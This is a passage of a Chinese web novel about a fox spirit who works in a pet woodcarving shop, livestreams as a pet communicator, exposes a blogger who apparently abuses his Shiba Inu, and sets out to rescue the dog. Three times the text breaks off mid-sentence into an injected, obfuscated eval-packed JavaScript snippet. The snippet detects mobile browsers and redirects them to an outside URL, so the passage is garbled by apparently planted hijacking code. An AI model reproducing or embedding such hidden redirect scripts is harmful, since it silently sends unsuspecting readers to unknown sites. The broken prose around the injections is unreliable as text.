两个客单，是订单量增长的一小步，却是直播带货的一大步，小柳一场直播的工作成果就超过了木青杨的一周战绩。 因此木青杨十分重视这两个客单，当天晚上便开始了创作。 “店长……” 正在画线稿的木青杨听到小柳的声音，停笔抬起头，只见一个小脑袋从货架后面探了出来。 小柳不好意思地抿着嘴，欲言又止。 “又怎么了？” 小柳双手扒着货架，小声问：“店长，你之前说的惩罚……还算数吗？” 原来是为这事啊，平时大大咧咧的，这会儿倒是担心起惩罚来了，木青杨嘴角轻扬，有心逗小柳，故意说：“当然算数了，你忘记送礼物的事了吗？” 说完冲着小柳晃晃手机，提醒她别忘了乱打赏花掉的三千多块。 “可是……你说的直播工作我完成得很好啊……” 木青杨低头又开始画稿，边画边摆出一副满不在乎的样子，漫不经心地说：“一码归一码，功过不能相抵。” 小柳脑袋一耷拉，伤心地说：“好吧……那就是不能吃红烧牛腩，也没有工资了……” 木青杨抬头一看她失落的样子，立即败下阵来，忙说：“哎呀，骗你的，你表现这么好，表扬还来不及呢，之前说的惩罚作废。” “真的嘛！”小柳的大眼睛被笑容挤成了两弯月牙，兴奋地说：“那我们明天还吃红烧牛腩吧！” “行。”木青杨无奈地摇摇头，又投入到画稿中。 小柳见他这么认真，好奇心驱使下，走到木青杨身旁抻着脖子观察。 只见木青杨对着四四方方的木头块，刷刷几笔下去，在木块上勾勒出了小狗的身形。 有了大致轮廓，木青杨换了一把雕刻刀，开始粗加工。 小柳站在木青杨身侧，越看越入迷，不知不觉间越靠越近，在工作台上投下了一个呆愣愣的黑影。 “别捣乱，挡到光了。”木青杨冲小柳摆摆手，示意她一边玩儿去。 小柳没走开，反而转到另一侧，半跪在工作台边，两只手扒在桌面上，抬头朝着木青杨说：“店长，我不要别的奖励，你能不能教我做木雕？我喜欢这个。” 又是这双亮晶晶的大眼睛，又是这个抬头的姿势，这家伙是狗吗？怎么动不动就蹲着，坐没坐相。 木青杨一对上小柳的视线便移开了目光，大腿上那熟悉的灼热感又出现了，他不动声色地朝另一侧挪了挪。 “可以是可以，但是你得循序渐进慢慢学，不能捣乱。”木青杨越挪越远，接着问：“你想雕什么？可以找个模板先练着。” “店长你书包上的小狐狸挂坠好漂亮，我就想雕那个，可不可以借给我练习……” “不可以。”小柳话还没说完，就被木青杨生硬地拒绝。 那挂坠对他很重要，可以说全店的木雕加起来都不及它珍贵，这么多年，他走哪儿带哪儿，基本不离身。 而且，小柳这什么眼神，他的吊坠明明是只小狗，根本不是狐狸。 “不借就不借嘛，干嘛凶巴巴的……”小柳撇了撇嘴，低下了头。 木青杨解释道：“还不会跑就想着要飞，挂坠借给你你会雕吗？你得从最简单的练起。” 他拿起一个小木块，几笔画出了一个简笔小兔子，递给小柳一把直钢刀，说道：“你就雕这只小兔子，先用直钢刀开粗，就是把木块切得和小兔子差不多大。” “好嘞！”小柳也不纠结狐狸挂坠了，等自己和恩人成了一家人，恩人的还不就是自己的吗？不急于这一时。 她找了条围裙系上，搬把椅子，和木青杨并排坐着，学着他的样子，拿起刀便刻。 啪嗒。 小柳不懂得收着劲，一刀下去，木块被削成两半，其中一块飞了出去，稳稳降落在工作台上。 木青杨满头黑线，停下了手工活，要不是飞出去的木块，他几乎忘了眼前这家伙还是个怪力少女。 有这么个怪力少女在旁边，实在是很难集中注意力工作。 木青杨无奈说道：“小柳啊，带着绵绵去接豆豆吧，到遛狗时间了。” 欢乐时光总是如此短暂，小柳不情不愿地回应：“好吧，可是我的小兔子……” “你去吧，我重画一个。” 可算能清静清静了，木青杨松了一口气，接着埋头苦雕。 夏夜的河滨公园里，带着水气黏腻的风让小柳很不舒服，刚开始就被打断的木雕学习更让她郁闷。 她牵着绵绵和豆豆独自走在公园步道上，边遛弯边和小狗吐槽：“天气怎么这样子呀，比起五百年前可差多了，哼。” 小比熊和小金毛察觉到小柳心情低落，聚在她身蹦蹦跳跳，尾巴翘得老高，叽叽喳喳地跟她说着话。 【妈妈，妈妈，别生气了，我们来玩吧！】 【姐姐，姐姐，我们一起玩吧！】 小柳摸摸这一高一矮两个毛孩子的毛脑袋，心想还是小狗好，小狗不撵人走。 一狐二狗在公园步道上跑着，把粘腻的空气、郁闷的心情全都甩在身后。 等到把豆豆送回家，返程的时候，小绵绵已经累得走不动了，小柳抱起它，摸着它毛茸茸的脑袋，有一搭没一搭聊着天。 “绵绵，以前有别的女孩来过咱们家吗？” 【没有哦，家里只有爸爸一个人。不过绵绵只有四岁，之前的事，绵绵不知道，得问姐姐。】 小柳疑惑道：“姐姐是谁？你还有个姐姐？” 【爸爸之前的小狗，姐姐走了，爸爸说姐姐去天上了，我都没见过姐姐。】 原来姐姐是小狗啊，看来店长除了绵绵还养过其他狗狗，真是个喜欢小动物的暖男呢。 不过小狗不在了，他一定很难过吧……想到这里小柳不由得加快了回家的步伐。 晚上九点钟，一楼工作室已经关灯了，只剩走廊的照明灯还亮着，看来店长已经休息了。 小柳轻手轻脚进了门，招呼绵绵上楼去，独自走向卧室。 “咦？” 余光瞟到门口，有些小东西拦住了她的脚步，小柳蹲下身一看，五个木块整整齐齐排列在门口，旁边放一个小包，小柳打开一看，各式各样的手工雕刻刀码放整齐。 小柳将工具包抱在怀里，两手端着木块进了门。 开灯后坐在书桌前，她这才发现，五个木块上画着一模一样的小兔子，这估计就是店长给她的新手练习套装了。 店长，还真是贴心……小柳摩挲着木块，红了脸。 …… 一连几天， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126309|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播人数在小柳卓越的兽语能力加持下持续增长。 经过一段时间废寝忘食的学习，小柳学会了直播时同步录屏，剪辑后发布作品，一步一步将账号经营得有模有样。 不过店铺里只有一个定制木雕的商品链接，工作室里也只有木青杨一个木雕师傅，接单的数量和制作速度都有限。 一周过去，直播间平均在线观看人数能保持在两千多，账号“青杨宠物木雕”也拥有了五万粉，定制订单刚好三十个。 简单的订单大概半天能做好，可遇到过于毛茸茸、线条复杂的小动物，则要花费一到两天不等。 最近接的都是小件木雕，而且每一件定制款制作之前，木青杨都要根据宠物主人提供的照片视频等资料画稿，纸上画完，再画在木块上，长时间的伏案工作让他肩颈酸痛。 不直播时小柳的目光总是黏在木青杨身上，扫地也罢、擦柜子也罢、陪狗玩也罢，不管干什么，木青杨永远是她的重点关注对象。 于是，每次木青杨肌肉酸痛，不得不暂停手中的活计活动肩颈时，小柳总会瞅准机会出现在他身边帮他按摩肩膀。 “店长，我帮你按按肩膀吧。” 没有男人能拒绝一个漂亮小姑娘的主动关心，木青杨也不例外，即使小柳的按摩只会使他浑身僵直，电流从肩颈出发，穿过心脏，继续向下蔓延…… “好了好了，你别忙活了，去遛狗吧。”木青杨不自然地出声制止。 小柳手还搭在店长肩膀上，疑惑道：“可是店长，你的肩膀好硬哦，我再帮你按按吧。” “不……不用了，你去遛狗吧。” 木青杨轻轻抓着小柳的胳膊移到一旁，两人靠得很近，小柳一抬头，只看到他的喉结滚动，气氛有些不对劲。 小柳小声嘟囔着：“早上刚遛完狗，才刚过三小时，又遛啊。” 木青杨也察觉到每次都用遛狗把小柳支开有些牵强，转念一想，另一个借口又到嘴边：”我去做饭。” 小柳看着木青杨离开的背影，有点摸不着头脑，难道店长很不喜欢跟自己待在一起吗？ 最近感觉店长总是躲着她，小柳叹口气，哎，这样下去，什么时候才能实现报恩的愿望呢？ 一定是因为店长太忙了，每天都要接单，接了就要制作，雕刻时间过长就会累，店长就是太累了，需要休息。 过于忙碌的人是没有精力谈恋爱的，小柳暗下决心要给店长减负。 减负无非从两个方面入手，首先，小柳要继续学习雕刻，争取能在店长的指导下完成简单稿件，其次，就是减少定制单量。 学习木雕对于小柳这个门外汉来说，不是一蹴而就的，只能慢慢学习，短时间内帮不上店长的忙。 而减少定制单量意味着收入减少，好不容易支楞起来的带货事业难道就此枯萎吗？ 小柳一屁股坐在工位上，绞尽脑汁得想怎么才能保持收入增长的同时，减少木青杨的工作量。 电视剧里常听到一句话：“男主外，女主内。”这合理吗？难道就不能女主外，女主内吗？ 店长一个小小人类，生活重压会让他失去活力的。 思索片刻，小柳做了个决定，宠物沟通不能免费了，得收钱。 赚钱的压力是时候换个人来承担了。 5. 举报 小柳说干就干，下一场直播便开通了付费连线，定价五十币，相当于五十元，五十元买不了吃亏买不了上当。 熟悉的【木头人】ID又一次出现在直播间，不过木青杨这次没有客串连线，只是个老老实实的观众。 这次小柳的托儿换成了王奶奶和豆豆，小柳开播前找王奶奶说了付费连线的事，还没等她开口，王奶奶就主动请缨，一定要来捧个人场。 于是，直播间里，ID【富贵花开】对着小柳大夸特夸，从了解小狗的心思夸起，一路夸到小柳漂亮、长得喜庆。 弹幕里有人起哄：【奶奶干脆给主播介绍个对象吧哈哈哈】，附和的观众排起长队。 小柳眼看话题越聊越偏，赶紧往回拉：“谢谢王奶奶，这都是我们宠物沟通师应该做的，您夸得我都不好意思了。我看连线时长也差不多了，那咱们就开始下一位？欢迎大家跟主播连线哦。” 王奶奶刚下线，立刻有下一位观众加入连线，ID【大头与多宝】。 【大头与多宝】一上线，直播间观众人数攀升，木青杨点进【大头与多宝】主页，发现这是个记录主人大头与柴犬多宝的萌宠账号。 【大头与多宝】五十万粉丝，已发布视频大部分都是多宝在闹，大头在管教。 多宝是典型的问题小狗，视频里的它脾气暴躁，拆家是家常便饭，唯一乖巧时刻就是在狗粮广告视频里埋头苦吃。 主人大头的摄像头对准多宝，还没等小柳开口打招呼，满屏的弹幕先滚动起来： 【哦莫，竟然在这儿看到多宝！】 【多宝好可爱，小眼睛滴溜溜转，又想干什么坏事呢？】 【大头啊，你可管管多宝吧~】 【最爱的两个博主联动啦！】 突如其来的热度让小柳有些摸不着头脑，她被直播间的热闹气氛感染，说话音调都不由自主地抬高了。 “【大头与多宝】您好，是主人叫大头吗？” “是的是的，小姐姐你好呀。”一个矫揉造作略带油腻的男声响起，引得实时观看的木青杨皱了皱眉。 不得不说大头是专业博主，完全没有一般连线观众的拘谨，他对着镜头打了个招呼，引来弹幕一片欢呼，新增的观众几乎都是他的粉丝。 他将摄像头转向多宝，笑着对小柳说：“多宝，就是这只小小柴犬，它平时实在是太能拆家了，而且我一碰它就凶，小姐姐你帮我问问，它到底有什么不满意呢？真的很讨厌我吗？” 正说着话，大头将手伸到多宝面前，多宝立即龇牙发出恐吓的声音。 弹幕里一片【倒反天罡】、【女儿揍老子】、【多宝女拳手】等等调侃的话。 可小柳这时却沉下了脸，她明确地接收到了多宝给出的信息：【滚啊！不要碰我！】 要知道来直播连线的主人和宠物关系都十分亲密，大部分主人都是出于爱意想要了解更多爱宠的信息，而小动物对自己的主人也都抱有同样的爱。 所以直播间里才会有那么多感人的、真挚的情感流露，温情一直都是小柳直播间带给大家最深刻的印象。 而这次的主人和狗狗不太一样，大头看似亲昵，多宝却不买账，看这架势与其说是主人，不如说是仇人，但多宝表现出的又不是单纯的攻击。 它大叫滚开，却没有直接攻击，而是选择了龇牙，小柳从它虚张声势的行为里感受到了一丝害怕。 害怕？如此清晰的害怕可不是调皮时拍两下屁股能造成的，多宝一定是长期处于应激状态，又对自己的处境无能为力。 为了获取更多信息，小柳不动声色，接着询问多宝：“小多宝别害怕，告诉姐姐，你为什么生气？” 多宝听到陌生人的声音，视线从大头转移到小柳，稍微缓和下来，只跟小柳说了两个字【坏人】。 信息量太少，小柳也给不出合理的解释，只得一五一十反馈：“多宝说‘坏人’，大头先生你知道是什么意思吗？” “啊？我对多宝一向很好的啊，它那么拆家那么凶，我好吃好喝供着，多宝不可能说我是坏人的，小姐姐你听错了吧……” 多宝这句【坏人】指向不明，大头却笃定是在说自己，跳过了疑惑，直接否认。 大头言辞恳切，他的粉丝也一呼百应，纷纷刷弹幕，有说大头是好主人的，有说多宝是恶犬的，更多的则是在指责小柳瞎说。 只要直播间里出现一个尖锐的声音，节奏就很容易被带偏，小柳初入人世对这些小把戏还很陌生，一直看着直播的木青杨却敏锐地察觉到了不对劲。 他略过满屏弹幕一直往上翻，发现了指责小柳骗人胡说的源头，ID【5371】，IP地址在隔壁市，主页空空如也，明显是个小号。 有人在故意带节奏。 面对满屏的误解和怀疑，小柳倒不是很在乎，她只想搞清楚多宝到底经历了什么，于是她又问：“多宝，多宝，看着姐姐，这里没有坏人，你有什么不开心的事可以跟姐姐说。” 重复问了几遍后，多宝歪头看着小柳，像是逐渐卸下心防，它在跟小柳倾诉。 小柳仔细倾听多宝断断续续的呜咽，实时翻译：“坏人打我……细细的东西扎我……孩子被抢走了……” 小柳的脑海中浮现出了多宝受欺负的画面，挨揍反抗时大头会趁机拍视频，镜头对准龇牙咧嘴的多宝，营造出多宝不乖、拆家发疯的假象。 如此反复，多宝渐渐麻木了，任凭大头怎么逗弄它，它总是呆滞应对，可大头怎么会放过“调皮狗狗、卑微主人”的流量密码呢？ 于是，动手打不奏效就用针扎，多宝口中细细的东西就是缝衣针，疼痛让它找回了拍摄“状态”…… 甚至多宝早期很可能生过小狗，而它的孩子一出生就离开了妈妈。 大头看着哽咽语塞的小柳，先沉不住气了，他把镜头猛地移开，对准自己，一张愤怒的脸占据了整个屏幕。 “你在胡说八道什么！就算为了节目效果也不能睁眼瞎说吧！” 多宝像是察觉到了大头对小柳的敌意，在镜头看不到的地方激动地吠叫，大头扭头呵斥一声，多宝停止了吠叫，小柳只能听到它小声的呜咽。 小柳急着解释，可大头的粉丝乌央乌央占领了弹幕，一时间怀疑和辱骂排山倒海般砸向小柳。 五万粉丝与五十万粉丝，大头的体量是小柳的十倍。 三年持续更新的萌宠博主与初出茅庐的宠物沟通师，观众会选择相信谁？ 满屏的弹幕已经给出了答案。 就在小柳手足无措时，直播间被大头的粉丝举报，账号被迫下播了。 刚开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126310|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始做付费连线，就遭遇了口碑滑铁卢，小柳来不及为了直播事业烦恼，她的心被多宝牵动，盯着黑漆漆的直播结束界面，眉毛拧成一团。 “小柳，小柳。” 木青杨唤了小柳好几声，小柳都没作声。他敲敲门，拧开了小柳卧室的门把手。 知道木青杨站在她身后，小柳才抬起头看他，两串眼泪挂在她脸上，小柳哭了。 “店长，大头是坏人，他虐狗。” “我知道。”木青杨本想摸摸小柳的头发，抬起手后停下来，拍了拍小柳的肩膀以示安抚。 宠物沟通，听起来很匪夷所思，但因为是小柳，木青杨选择相信。 这么多天相处下来，小柳和绵绵、豆豆包括直播间里的小动物沟通得异常顺畅。 小柳的很多行为动作总让木青杨有种错觉，恍惚间她就像一只小狗，一只纯白的、敦实的、可爱的小狗。 “店长，不好意思，账号被举报了，最近都没办法直播了……” “我本来开通付费是想多赚点钱的……” 木青杨还是没忍住揉揉她蓬乱的头发，笑着说：“咱们不缺这点订单，不播就不播了，接那么多小单都做不过来，我今天刚想跟你说休息几天呢。” “真的嘛？” “真的啊，这么大个店，光靠直播养还不得赔光了呀。” 木青杨表面说得轻松，背地里因为说谎话后背都出汗了，店铺确实不赚钱，作为店长，他压力山大，好在工作室店面是私产，不用付租金。 “行了，你先别看账号了，带绵绵豆豆出去玩吧。” 木青杨想从小柳手里把工作手机拿过来，拽了一下却没拽动，小柳低着头，眼泪啪嗒啪嗒滴落在木青杨胳膊上，像下了一场冰凉的雨。 “可是多宝怎么办，大头那个坏蛋肯定会打它的，是我让它告诉我实情，却救不了它。”小柳哭得更凶了，抽噎着说。 小柳作为一只妖，第二次产生这种深深的无力感，和五百年前被除妖师封印时的感觉一模一样，这一次她面对的是普通人，但隔着网线，她连对方姓甚名谁都不知道，眼看着小动物被折磨却连救助都找不到门，空有一身妖力，有什么用呢。 相比天为盖、地为床的小妖，人类的肉身脆弱不堪，可在各种工具加持下甚至能把妖逼进深山，如今有了互联网的加持，更是难以下手。 “交给我。”木青杨笃定地说。 小柳猛地抬起头，大眼睛里满是疑惑，店长这个小小人类又能做什么呢？ 木青杨解释道：“你之前不上网，不了解现在网络发达到了什么程度，大头的IP地址就在隔壁市，他视频里有正脸照片，小区大楼、周围街景都拍得一清二楚，根据这些线索不难找出他的位置。” 小柳猛猛点头，互联网时代还得是人啊，比狐狸强。 …… 木青杨回到卧室，回想刚刚说的话，恨不得给自己一拳。 他一个专做木雕的宅男，逞什么能，当什么网络神探啊。 木青杨像炮弹一样把自己发射到床上，一头埋在被子里，双手揉着自己被冲昏的脑袋，绵绵乖乖趴在他旁边，歪着脑袋好奇地看着主人。 此时的木青杨还不知道，明天事情就会迎来转机，多宝的位置不用他费心去找，自会送上门来。 6. 舆论 视频软件上，营销号的嗅觉比狗还要灵敏。 小柳与大头的直播间冲突被有心人录屏，像是有人在背后推波助澜，隔天，营销号们闻着味儿就来了。 营销号们用着极快的语速、夸张的词句，添油加醋地叙述着关于“大头虐狗”与“小柳骗人”的种种猜测。 【八卦侦探社】便是此类营销号中的佼佼者，视频紧追热点，凭借捕风捉影的猜测、夸张离奇的话术、量贩式日更，在一众营销号中突出重围，坐拥一百二十万粉丝。 小柳和大头不欢而散后，【八卦侦探社】在第二天一早便发布了一条视频，标题：【初出茅庐神婆断案，萌宠赛道博主虐狗？】 这“初出茅庐的神婆”指的便是小柳了，视频里小柳过去的直播切片被掐头去尾剪辑在一起，没有小动物和主人入镜，单看她自言自语，颇有些神神叨叨的感觉。 视频一发布，果不其然评论区里出现了很多负面声音： 【宠物沟通都是骗人的！我就被骗了五十块钱！】 【翻译兽语也太玄乎了吧，分析动物肢体动作、面部表情还差不多】 【都是剧本，散了散了，浪费流量。。。】 不过【八卦侦探社】的视频并不单单剑指“神婆”，对于账号【大头与多宝】，【八卦侦探社】也持怀疑态度。 大头的视频同样遭受了掐头去尾剪辑大法的“大刑伺候”，这样一来，视频里的多宝显得更疯狂了，显然超出了大部分网友对犟种柴犬的认知。 有眼尖的网友发现某段视频边缘拍到了穿衣镜的一角，大头拿着细细的银色物品，反射着阳光映照在镜面上。 这一镜头仅持续两三秒，且清晰度有限，镜子里那道银色无法识别，可有多宝的倾诉在前，网友们很自然地将银色物品和针联系了起来。 做过的事情必然会留下痕迹，当网友开始一帧一帧审视大头发布的视频，那些平日里隐藏起来的、不自然的小动作一个接一个被扒出，暴露在众人眼前。 【我靠！这是针吧！】 【为了流量疯了】 【虐狗的****，******】 【脱粉脱粉，怪不得每条视频里狗都不乖，明显是应激了】 【天杀的，靠作践小狗博流量，活该你塌房】 虽然小柳账号评论区里恶评泛滥，但大头比起小柳，收到的恶评更是不堪入目，就像网友评论的那样，颇有些塌房的趋势。 此时，坐在书桌前抓耳挠腮的木青杨，心里的焦虑比起深陷舆论漩涡的大头和小柳也是只多不少。 该怎么根据短视频找出多宝的所在地呢？他又不是神探狄仁杰，视频里，大头家那普普通通的米色外立面，扔到小区堆里都能完美隐身，该从何处下手呢？ 木青杨一筹莫展，他甚至都不愿意出卧室，生怕撞见小柳期盼的眼神。 可惜，怕什么来什么，“咚咚咚”，小柳敲响了卧室门。 “店长，我能进来吗？” 虽然小柳入职有一段时间了，但她在二楼的活动范围仅限餐厅，木青杨的房间对于小柳来说还是个未知领域。 小柳小心翼翼地推开门，正欲进门，绵绵从卧室门缝挤出来，拦住了她的去路。 这还是第一次有女生试图进入木青杨的卧室，显然他还没有做好准备。 木青杨听到敲门声的那一刻，便一个箭步冲向门口，拦住了小柳继续推门的动作，略带紧张地说：“有什么事下楼说吧。” 一楼工作室。 木青杨和小柳在工作台上相对而坐，一人捧着部手机。 “店长，你看到这个视频了吗？我发你。”小柳边说边把【八卦侦探社】的视频转发给木青杨个人账号【木头人】。 【青杨宠物木雕】后台，从昨晚下播开始不断弹出新的私信信息，十条里有九条都是骂人的话，小柳已经从刚开始收到时的愤懑变成了麻木。 她选择眼不见心不烦，转发视频后便把手机扣置在桌上，不再看它。 “店长，你看【八卦侦探社】视频底下有好多人发现大头有问题了，这对我们来说，是好事吗？” 小柳这几天的心情起伏如过山车一般，谁都想不到一场平平常常的直播会演变成现在这样，她太需要一个好消息了，尤其是经过木青杨确认的好消息。 作为一只初入人世的小狐狸，她第一次在短时间内承受这么多的谩骂和恶评，这件事冲击了她的价值观，如今她连好坏判断都不是那么笃定了。 “说不好，这视频底下大部分人在骂大头，但剩下的也在骂我们……横竖都被骂……” 木青杨话音刚落，小柳扑通一声趴在桌上，头埋进臂弯，不动弹了。 木青杨看着她伤心的样子，心里很不是滋味。 他又何尝不想说这是个好消息，可问题是网友对宠物沟通这种神叨叨的事情很不看好，怀疑的声音比肯定要大得多。 即使小柳说的是对的，大部分人也不会相信，只觉得是剧本或者她瞎猫撞上死耗子。 “小柳，你先冷静冷静，多宝的位置我还在找，会有好消息的。” 小柳趴着一动不动。 任凭木青杨怎么说，小柳还是埋着头不理人。 木青杨一着急，一把拿起桌上的工作手机，严肃说道：“林小柳。” 小柳第一次听店长直呼自己大名，听他语气不悦，这才抬起头来，露出哭花的一张脸。 木青杨板着脸训到：“再给你十秒钟哭的时间，时间一到你就去洗把脸，带绵绵、豆豆出门，十、九、八……” 小柳纵使迟钝也听出木青杨生气了，本来就是自己惹的祸，直播做不好，其他工作也耽误了，也难怪店长会生气。 木青杨刚数到八，小柳像是回过了神，猛地站起身，狠狠抹了把眼泪，鼻音沉重说道：“店长对不起，我会好好工作的。” 说罢便转身离开，整理心情带着小狗出了门。 …… 前脚小柳刚出门，木青杨的手机“叮”弹出一条提醒，这是视频软件“特别关注”独有的提示音。 而【木头人】“特别关注”列表里只有两个ID：【青杨宠物木雕】和【大头与多宝】。 木青杨打开软件，果然，【大头与多宝】发了新视频，正是这个视频让一筹莫展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126311|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“寻宝工作”有了眉目。 视频里大头穿着黑色衬衫，表情严肃、语气郑重而平静，可能是出于舆论压力，他主动在镜头前向网友道歉。 可道歉的内容并不是“虐狗”。 大头很聪明，他避重就轻，仅为自己在舆论发酵时没有第一时间出面解释而道歉。 对于网友最关心的“虐狗问题”，大头一语带过，只说让网友相信他，他和多宝相依为命，将多宝视作自己的孩子，绝对不可能欺负它。 为了印证直播间里小柳在胡说八道，大头还找来了另一位宠物沟通师，ID【灵宠巫女】，做宠物沟通已经一年时间了，粉丝量将近三十万。 【灵宠巫女】同样与多宝做了一次人狗对话，可她对于多宝话语的解释却与小柳完全不同。 多宝说有“坏人打它，用细细的东西扎它”，【灵宠巫女】解释为大头教育多宝时，多宝心里生气，故意说大头是坏人，而细细的东西并不是什么针，而是一根笔。 有一次大头写日记时，多宝太闹腾，他拿笔戳了多宝的屁股，只是为了让它不要吠叫。 为了证明这一点，大头还拿出了一本厚厚的日记本，表明自己确实有每天记日记的习惯。 多宝口中，“孩子被抢走了”，其中的“孩子”并不是指小狗，而是被多宝撕碎的玩具娃娃，大头把旧娃娃丢掉后，又给多宝配置了新玩具。 而且大头解释道，多宝身为一只三岁的小母狗，压根就没有生育过。 多宝的咬人、拆家表现被【灵宠巫女】解释成狗狗行为问题，为此大头决定把多宝送到一家知名的狗学校。 狗学校校长也有自己的视频账号，大头在道歉视频文案处@了对方，看来大头在舆论爆发后就已经联系对方，想好对策了。 木青杨点进校长的视频账号【鹏哥（狗狗好伙伴）】，账号观感比大头要强得多，视频中的狗狗学校占地面积非常大，茵茵草地上小狗尽情玩耍，各类娱乐设施非常丰富。 大头选择把多宝送到鹏哥这里，是为了进一步博得网友的好感，果不其然，鹏哥最新视频的评论区里，有些大头的铁粉已经占领了前排，开始给大头辟谣。 送去狗学校真的对多宝好吗？鹏哥会不会发现多宝遭到虐待，就算发现了，他会不会挺身而出帮助多宝？ 还有一种更糟糕的可能性，大头和灵宠巫女、鹏哥是一伙的，人宠沟通、送多宝去狗学校都是为了扭转舆论的作秀行为。 木青杨越想眉头皱得越紧，大头家找起来太费劲，可狗狗学校的位置是公开的，而且就在本市北部郊区，要不要去一趟呢？ 木青杨决定等小柳遛狗回来商量一下对策。 …… “去！一定得去！” 小柳牵着绵绵刚进门，木青杨便跟她同步了事情进展，询问她的意见，小柳毫不犹豫地做出了决定。 多宝把真实情况告诉她，意味着信任，小柳知道小动物的信任是最可贵的。 况且只要大头还是多宝名义上的主人，多宝就难逃被虐待的命运。 为了保护这份信任，为了多宝能快乐生活，小柳必须出发。 7. 救援 下午六点，小柳性急，催着木青杨出发，明天一早多宝就要被送到狗学校了，在这之前，她想去狗学校看看。 “店长，绵绵怎么办？”小柳站在楼梯上扯着嗓子问。 “你问问王奶奶能不能帮忙看两天。”木青杨人在卧室收拾东西，声音从屋里传出来。 小柳拿出工作手机，按下2，快捷拨号，王奶奶那头立马接了电话。 “柳儿啊，豆豆还在睡觉，遛狗不着急……” 小柳蹦豆子一般，劈里啪啦把自己要出门的事情告诉王奶奶，请求王奶奶帮忙带下绵绵。 “好的呀小柳，你把绵绵带过来吧。” “太谢谢您了，我就知道王奶奶最好了！” 王奶奶对小柳的感激话语很受用，在电话那头喜笑颜开地说：“哎呀，你跟奶奶客气什么呀，我还得谢谢你每天带豆豆出去玩呢，而且我女儿回来啦，有人帮忙的，你放心。” “好的好的，我马上把绵绵带过去，和姐姐打个招呼，嘿嘿。” 小柳挂了电话，拿好绵绵的小包装狗粮、便携水碗，最重要的是带着它最喜欢的玩具，牵起小狗，跟木青杨打个招呼，出了门。 王奶奶家门口。 小柳按响门铃，来开门的并不是王奶奶，而是一个很有气质的漂亮女人，这应该就是王奶奶的女儿了。 “你好，你是小柳吧，我是王奶奶的女儿，谢谢你照顾豆豆和我妈妈，我叫王月婷。” “月婷……姐姐，你好。”小柳叫姐姐时不由得停顿了片刻。 按照王奶奶的岁数推算，月婷姐得三十多四十岁的样子，可眼前这个气质美女保养得也太好了，笑起来眼角都没有皱纹，年轻到小柳不好意思叫姐。 “这小狗叫绵绵吧，你们快进来吧。”月婷姐亲昵地挽起小柳的胳膊，两人靠近，视线交汇之际，小柳怔在了原地。 月婷身上有妖气，她不是人。 这妖气比起小柳的要稀薄不少，直到靠近月婷身边，小柳才隐隐约约闻到。 月婷见小柳警惕的样子，不动声色地拍拍她的肩膀，以示安抚，像是什么都没发生的样子，领着小柳进了客厅。 这次下山，小柳第一次见到了同类，但究竟是不是同类，小柳还不敢确定，月婷的妖气若隐若现，结合她和王奶奶的关系，倒像是半妖。 小柳仔细看着她，刚想开口问话，王奶奶从厨房端着盘子出来，热情地招呼小柳。 “小柳和绵绵来啦，在奶奶家吃过晚饭再走吧。” 小柳注意力被迫从月婷身上转移走，站起身回答道：“奶奶，我不在家吃饭啦，回店里和店长一起吃，我俩晚上还得早点出发呢。” “奶奶，月婷姐，谢谢你们帮我照顾绵绵，那我就先先回去了。”小柳牵着绵绵摸摸它的毛绒脑袋，把狗绳交给月婷。 月婷接过狗绳，顺手握住了小柳的手，小柳心里一紧。 月婷笑眯眯地说道：“说什么帮不帮的，你太客气了，远亲不如近邻，咱们互相帮忙不是应该的吗？” 重音落在“互相帮忙”上，月婷还在这时捏了捏小柳的手掌。 她在示好。 小柳这才放下心来，想想也是，妖在人堆里是绝对的少数派，无冤无仇的，互相帮助报团取暖才是更明智的选择。 至于月婷姐姐到底是什么情况，等解决了夺宝的事情再问也不迟。 小柳出了王奶奶家的门，直奔木雕店。 等她到了木雕店，发现木青杨已经在门口等着了，店门口还停着一辆黑色的车。 哇，店长平时看着不起眼，没想到还有车呢！小柳看到轿车眼前一亮，一时间电视剧里，霸总开车时的帅气姿势浮现在她眼前。 下一秒，黑色轿车里探出个脑袋，英年早谢顶的师傅冲木青杨喊道：“小伙子，人来齐了吧，快上车吧！” 木青杨背着熟悉的黑色背包，休闲装一穿像个大学生，冲着小柳招招手，示意她从左侧上车。 小柳的笑容凝固在脸上，霸总滤镜碎了一地…… 木青杨和小柳坐在后座，看着小柳一脸疑惑，他主动解释道：“我不会开车……” “哦。”小柳淡淡回答。 “车程大概两个小时，先吃点东西吧。” 木青杨从书包里掏出肉脯、鸡腿、果干一大堆零食，小柳熄灭的眼神光瞬间又被点亮了。 “谢谢店长，你真贴心~” 木青杨斜眼看着大快朵颐的小柳，不由自主地笑出了声。 